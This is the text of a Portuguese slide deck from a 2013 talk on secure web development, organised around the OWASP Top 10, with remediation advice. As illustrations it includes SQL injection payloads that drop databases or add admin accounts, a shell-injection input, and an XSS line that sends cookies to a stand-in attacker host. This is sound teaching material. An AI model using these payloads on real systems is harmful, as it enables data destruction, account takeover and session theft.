Upload
cadiego
View
178
Download
0
Embed Size (px)
DESCRIPTION
Palestra sobre desenvolvimento seguro de aplicações WEB, apresentada no Instituto Federal Catarinense - Campus Araquari em 29/09/2013
Citation preview
iTFLEX Tecnologia http://www.itflex.com.br
Desenvolvimento Seguro de Aplicações WEB
Principais vulnerabilidades e recomendações(Baseado no OWASP TOP10)
Carlos Diego Russo MedeirosDiretor Executivo – iTFLEX Tecnologia
iTFLEX Tecnologia http://www.itflex.com.br
Agenda
Apresentação
Pontos para reflexão
OWASP
TOP10
A1-Injeção
A2-Quebra de autenticação / sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de objetos
A5-Falhas das configurações de segurança
A6-Exposição de dados sensíveis
A7-A10 Visão Geral
Recomendações
Perguntas
iTFLEX Tecnologia http://www.itflex.com.br
Apresentação
Fundador e Diretor Executivo da iTFLEX (2004)
15 anos de experiência em linux, segurança e redes
http://br.linkedin.com/in/cadiego
MBA em Gestão Empresarial pela FGV/Sociesc (2005)
Bacharel em Informática pela Univille (2001)
Técnico pela Escola Técnica Tupy (1997)
Certficação ITILv3 Foundation (2012)
Cisco Certified Network Associate (2002)
Módulo Certified Security Officer (2002)
iTFLEX Tecnologia http://www.itflex.com.br
Reflexão
A maioria dos desenvolvedores pensa que suas ferramentas são seguras
A segurança não é apenas responsabilidade de equipe de infra-estrutura
Crescimento do cloud computing x segurança nas aplicações WEB
Você se preocupa com a segurança no desenvolvimento das suas aplicações?
Não confie cegamente na sua linguagem ou framework
iTFLEX Tecnologia http://www.itflex.com.br
OWASP
Open Web Application Security Project
Projeto aberto dedicado a capacitar as organizações a desenvolver e manter aplicações seguras.
Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza eventos, grupos locais de discussão (Chapter)
2011 - OWASP AppSEC Latin America
2012 – OWASP Floripa Day
Chapters próximos (Florianópolis, Curitiba...)
iTFLEX Tecnologia http://www.itflex.com.br
OWASP
OWASP TOP10
10 principais ameças em aplicações WEB
Atualizado a cada 3 anos
Consenso entre os profissionais
Excelente para aprendizado
http://goo.gl/ZKj23a
iTFLEX Tecnologia http://www.itflex.com.br
OWASP TOP10 2013
A1-Injeção
A2-Quebra de autenticação / Sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de objetos
A5-Falhas das configurações de segurança
A6-Exposição de dados sensíveis
A7-Falta de controle do nível de acesso
A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site
A9-Uso de componentes com vulnerabilidade conhecidas
A10-Redirecionamentos e encaminhamentos não validados
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Introdução ao A1-Injeção
Envio (injeção) de dados (entradas) não validados adequadamente
Strings interpretadas como comandos no backend
Injeção de SQL é a mais comum
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
E se no no lugar do ' or '1'='1 ?
● minhasenha'; DROP ALL DATABASES; --
● minhasenha'; INSERT INTO admins VALUES ('meu_admin','minha_senha'); --
● minhasenha'; UPDATE usuarios SET senha='123456' WHERE user='admin; --
E se a aplicação web estiver conectando no banco com as credenciais:
● root / sysdba ?
● Execução de comandos no sistema operacional
● Acesso a outros bancos dados
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Entradas explícitas
(Ex. forms, inputs)
X
Entradas implícitas
(Hidden, Cookies, Parâmetros da URL, etc..)
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
Ferramenta
SQLMAP – Automatic SQL injection and database takeover tool
Realiza as injeções (Já com payloads de consultas)
Descobre o sistema de banco de dados
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Realizar blind injection quando não é retorno (timing)
Permite conexão direta ao banco de dados
http://sqlmap.org/
iTFLEX Tecnologia http://www.itflex.com.br
A1-Injeção
SQL não é único tipo de injeção
Exemplo de Shell Injection (OS Commands)
Comandos do sistema operacional chamados pela aplicação
Digite o host para obter IP: _______________
$ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”;
Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la
System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
HTTP por sua origem é stateless, criado com foco na web estática ou não era necessária autenticação ou sessão
Para aplicações web modernas poderem relacionar as transações dos usuários é necessário o conceito de sessão.
Depende do estratégia usada pelo desenvolvedor
● session_id, cookies, etc..
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
iTFLEX Tecnologia http://www.itflex.com.br
A2-Quebra de autenticação / Sessão
Possibilidades de exploração
● session_id fixo ou session_id previsível (guestable) -> força bruta
● session_id com tempo de vida muito longo (Pode ser reutilizado)
● reutilização de session_id antigo (Não altera no logon)
● credenciais enviadas por canais inseguros - firesheep (wifi)
Lógica de autenticação falha
● Manipulação de variáveis da requisição
● if ( $logado = '1'); then echo “Usuário logado”; fi;
● http://site.com.br/adm/list_users?logado=1;
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Introdução ao A3-Cross-Site Scripting (XSS)
Falha no tratamento de entradas ou saídas da aplicação
Permite enviar código malicioso ao browser do usuários
Todo o browser é 'explorável'
Vulnerabilidade é na aplicação, mas a vítima é o usuário
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
<script>document.location='http://www.attacker.com/cgi-bin/get.cgi?foo='+document.cookie</script>
Persistente
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Possibilidades de ataque
Roubo de sessão
Fazer um deface no site (alterar, substituir conteúdo)
Inserir código malicioso (vírus)
Redirecionar o usuário para sites maliciosos
Enviar requisições involuntárias (A8-CSRF)
Exemplo do banco (duas senha, token, cartão numérico)
iTFLEX Tecnologia http://www.itflex.com.br
A3-Cross-Site Scripting (XSS)
Refletido
iTFLEX Tecnologia http://www.itflex.com.br
A4-Referências inseguras diretas de objetos
http://example.com/app/accountinfo=carlos
Referências inseguras a arquivos
http://example.com/view_file.php?arquivo=log.txt
http://example.com/view_file.php?arquivo=config.php
Usuário http://example.com/app/view.php?page=user
Administrador http://example.com/app/view.php?page=admin
(A7-Falta de controle do nível de acesso)
iTFLEX Tecnologia http://www.itflex.com.br
A5-Falhas de Configuração
Exemplos de pontos de falha
Sistema operacional desatualizado, com vulnerabilidades
Servidor de aplicação mal configurado,
configurações default, aplicações de exemplos
Consoles de administração expostos, ou com senha padrão
Configurações expostas (config.php.bkp)
Mensagem de erros não tratadas
Excesso de privilégio para aplicação
iTFLEX Tecnologia http://www.itflex.com.br
A6-Exposição de dados sensíveis
HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário
não protege aplicação, nem dados armazenados
SSL obrigatório x opcional
Criptografia no front-end x backend (simétrico x assimétrico)
Uso de algorítimos de criptografia fracos
Armazenamento desnecessário de dados sensíveis
Auto-preenchimento dos forms com dados sensíveis
iTFLEX Tecnologia http://www.itflex.com.br
OWASP TOP10 2013
A1-Injeção
A2-Quebra de autenticação / Sessão
A3-Cross-Site Scripting (XSS)
A4-Referências inseguras diretas de objetos
A5-Falhas das configurações de segurança
A6-Exposição de dados sensíveis
A7-Falta de controle do nível de acesso
A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site
A9-Uso de componentes com vulnerabilidade conhecidas
A10-Redirecionamentos e encaminhamentos não validados
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Assuma que você também é responsável
Estude o OWASP TOP10: http://goo.gl/ZKj23a
Faça o tratamento das entradas e da saídas
Sanitize Inputs -> Higienizar entradas
Canonicalize Inputs -> Passar para codificação única
Validação sempre por whitelist
Minimize o privilégios da aplicação (Somente o necessário)
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Assuma que você também é responsável
Estude o OWASP TOP10: http://goo.gl/ZKj23a
Faça o tratamento das entradas e da saídas
Sanitize Inputs -> Higienizar entradas
Canonicalize Inputs -> Passar para codificação única
Validação sempre por whitelist
Minimize o privilégios da aplicação (Somente o necessário)
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Atenção, NÃO FUNCIONA:
Validação de entradas por Java Script
Confiar no método POST no lugar do GET
HTTPs não garante a segurança da aplicação, garante apenas a confidencialidade do canal do usuário
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Aplicações WEB dependem de uma base segura
SO, Servidor de Aplicação, Bibliotecas
Evite usar comandos do sistema operacional, procure utilizar as funções ou bibliotecas da linguagem
mv, cp, ls, du, etc...
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF
Pesquise sobre os recursos de segurança da sua linguagem
Exemplo: http://www.pythonsecurity.org/
Python x Owasp Top 10: http://goo.gl/xXlZcy
ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS
Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ
iTFLEX Tecnologia http://www.itflex.com.br
Recomendações
Insira a segurança no ciclo de desenvolvimento do software
iTFLEX Tecnologia http://www.itflex.com.br
FIM, Perguntas?
Obrigado pela atenção
Carlos Diego Russo Medeiros
[email protected] / [email protected]
http://br.linkedin.com/in/cadiego
(47) 3029-3388
Fonte: http://www.seginfo.com.brTradução de: http://xkcd.com/327/